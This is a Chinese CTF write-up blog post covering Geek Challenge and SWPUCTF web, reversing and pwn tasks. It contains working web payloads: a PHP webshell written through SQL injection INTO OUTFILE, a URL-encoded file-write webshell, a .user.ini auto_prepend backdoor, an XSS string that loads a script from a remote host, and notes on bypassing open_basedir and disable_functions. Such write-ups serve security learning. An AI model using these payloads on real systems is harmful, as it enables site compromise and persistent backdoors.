php is fun
源码审计,感觉我还是比较喜欢做审计的题目,不用脑筋~~
1 | <?php |
代码就是可以将http://127.0.0.1/
开头的网页内容写入任意文件中。当然没有过滤后缀,可以选择上传php文件。 容易想到path
变量我们是可控的,可以将shell
写到path
变量中。然后,再次访问之,便可写入shell。 Payload为:
1 | /?file=http%3A%2f%2f127.0.0.1%2f%3Ffile%3Dhttp%253a//127.0.0.1/%26path%3D<%253fphp%2bprint_r(glob("/var/www/html/*"))%253b%2b%253f>&path=angelwhutest.php |
注意,file变量里面都是要进行二次编码的(访问了两次web接口)。glob
函数列目录,已经成了套路~~
lol web
同样是一个审计题目:
- 存在文件任意下载漏洞:
URL为:
1 | download.php?url=*** |
这样可以下载到源码
- 审计代码,发现存在注入:
api.php文件,这句话存在错误:
1 | $check = is_numeric($img_num) and is_numeric($img_first); |
根据运算符优先级,上面的语句等同于:
1 | $check = is_numeric($img_num) |
所以只需$img_num
为整数即可。$img_first参数处存在注入。
- 写入shell
payload:
1 | http://lol.sycsec.com/api.php?img_num=0&img_first=0 union select "<?php eval($_POST[c][/c]);?>",2 INTO OUTFILE '/var/www/html/images/angelwhutest123456.php' # |
查看目录得到flag:
1 | c=print_r(glob(/var/www/html/)); |
Only number never lies to you
这个题目让我学到了ini
后门技术。看了看前段时间的xdctf writeup,用到了这个。 首先,根据提示,爆破目录: 得到了一个相当于私有目录。进去发现是一个上传页面,试了试ini
后缀,bingo。顺便说一下还有一个上传题目是要求上传phtml
,试了半天。
- 首先上传一个
webshell_script12345.ini
文件,里面有我们的shell内容。 - 然后上传
.user.ini
文件
内容如下:
1 | auto_prepend_file=webshell_script12345.ini //可以使文件夹目录下所有php文件,执行前都包含我们的webshell_script12345.ini中的php代码。 |
- 最后访问upload_file.php,即可getshell。
连上蚁剑,得到flag:
皓宝宝的留言板
过滤了许多关键字,用字符串拼接绕过,payload为:
1 | <svg/onload="a='documen';b='t.body.appendChild(do';c='cument.creat';d='eElement(\'sc';e='ript\')).s';f='rc=\'//*****/myjs/my_xss.js\'';eval(a+b+c+d+e+f);"> |
127.0.0.x
这个题目真是溜,x-forwarded-for:127.0.0.x
伪造,用burpsuite爆破x
即可。搞了半天,最后在结果中搜索flag,得到~
Social Engineering
一开始到社工库里面找,找了一些信息~ 未果~ 是我想的太复杂了,去贴吧发现一个肖力吧。里面有qq,访问空间。在留言板上发现一句话flag是域名注册人的电话号码。whois得到flag~~
pentest(web500)
今年又出了个WordPress,但是感觉没有去年的题目精彩~给出了提示,graityforms
插件漏洞。于是,顺利上传shell。
1 | http://wordpress.sycsec.com/?gf_page=upload |
连上蚁剑,要想办法突破open_basedir
或disable_functions
。 可以小小总结下:
绕过open_basedir
列目录: 用https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html 读写文件,只能是php
自身的exp
了。在exploit
里面搜寻。
绕过disable_functions
- 使用
mail
函数:shellshock
漏洞和LD_PRELOAD
环境变量。 - 黑名单遗漏,使用遗漏的php执行命令函数。
ImageMagick
组件漏洞。
用phpinfo
看了后,发现禁用了mail
函数,gg。遗漏了一个pcntl_exec
函数,但是没开--enable-pcntl
再次gg。 最终翻到个可用的绕过open_basedir
的Payload:https://www.exploit-db.com/exploits/10557/
。成功获取flag。
1 | ~wow~ |
由于这个是需要软链接的,我无法删除这个flag文件。和出题人交流,说可以命令执行。我瞅了半天没看出来,作罢~ 等官方wp出来,看看有啥新思路。 内网渗透,木有代理成功,搁置了。
swpuctf web400
隔壁发现一个swpuctf
,去看了看web题目,难度还是不错的。只不过我偏爱审计题,于是做了做这道。其余的题目,服务器环境似乎不太好,老是崩,就没做了。题目质量还是不错滴。 看看这个有意思的审计题。 提示说有源码,御剑扫了下,发现/web/web.zip
。开始了审计过程。
变量覆盖漏洞
首先看看common.php
文件,下面这段代码,存在明显的变量覆盖问题。
1 | foreach(Array("_POST","_GET","_COOKIE") as $key){ |
利用思路:
- 直接覆盖
_SESSION
。但是防御了。并且防止了注入。
看看有啥可以变量覆盖的利用地方。
sql注入
由于参数进来,都被addslashes
过滤了单引号~ 想要注入,必然要结合变量覆盖漏洞了。看看哪里不用单引号~~ 看看riji.php
处,有个id
变量,没用单引号进行查询:
1 | if($_SESSION['user']) |
于是,就要想办法让php不给id
初始化复制:
1 | if($result['userid']) //想办法让,根据username查不出id |
md5 hash扩展攻击
在api.php
明显看到了不一样的代码,hash扩展攻击:
1 | if($this->check === md5($result['salt'] . $this->data . $username)){ |
贴心的给出了(=-=)!!
字符串,让我们证明自己攻击成功了。
check
,data
都是我们可控的数据。这符合md5扩展攻击的条件。$username
为admin
。salt
我们不知道,但知道它的长度为16位。- 现在缺少一个md5值。在找回密码的地方,我们可以得到
md5($salt)
的值。
综合上述条件,我们可以开始扩展攻击了。
攻击过程
- 先注册一个账号,并且登录
- hash扩展攻击成功后,将自己之前注册的账号删除。(userid在返回的cookie中)
- 利用
id
变量进行注入。
hash扩展攻击,用到了hash_extender
工具。那个HashPump
工具,不能只给salt
的md5值,找了半天其他工具。 payload如下:
1 | $salt_md5 = "917cc87f88b8833632b012418a7211ad"; |
成功删除注册用户后,注入得到flag: 这个题目非常不错滴没有脑洞
compose300
有意思的编程题,先解压了几次给的文件。在linux下,用file
查看,发现每一层的压缩模式都不一样。有tar
,zip
,bzip2
,gzip
。凭着自己以前写过shell,于是有了以下脚本:
1 |
|
再次学习了shell编程。
android RE
出的两个Android
逆向都还挺简单的。第一个用ida分析下so文件。有个这段逻辑: 首先比较用户名。syc
这个变量的数据,可以在.data
中找到。然后比较密码,与table
这段数据进行隔一个比较。 写个python,得到结果:
1 | import sys |
另一个直接用jeb,扣出核心代码(都是java,通俗易懂)。写个java程序,发给出题者就行。发邮件时,发现gmail不能带jar
后缀的附件。于是,去掉后缀发送。
Ernie
到了逆向二进制的部分了,最近学pwn,对linux逆向感觉不错,正好有了这个题目。 找入口处,在call ___libc_start_main
上面的函数就是了。
1 | push offset sub_80487F6 |
看看逻辑,一开始将输入的key每两位当做十六进制解析成字符: 然后和_6sY2tcY3iY7sem_
字符串比较。 因此,写个python算出key:
1 | import sys |
最后,根据key输入flag,ida逻辑为: v3为luckynum
(6)~~
再用Python,输出flag:
1 | key="5f367359327463593369593773656d5f" |
pwn pwn pwn
学以致用,刚好放出一个基础的pwn题目,简单易懂~~
漏洞点
buf
变量存在栈溢出: 判断长度时,使用\0
作为标示。但复制时,用\x0A
(换行符)做标示。于是,产生栈溢出。
漏洞利用
题目中step1
,step2
,step3
三个函数提供了system("/bin/sh")
,需要一步步来。 我的方法是:
- 通过栈溢出,运行
step1
,回到main; - 再次栈溢出,运行
step2
, 回到main; - 再次栈溢出,运行
step3
,bingo
;
str
为全局变量,因此可以这么做。最终拼接成system("/bin/sh")
exploit代码为:
1 | from pwn import * |
最后得到flag:
总结
选取了两个ctf比赛有趣的题目记录了下,学习到了一些知识。极客大挑战不难,可以好好练习下。简单的学到了一些知识,不错~~ 附上几个图。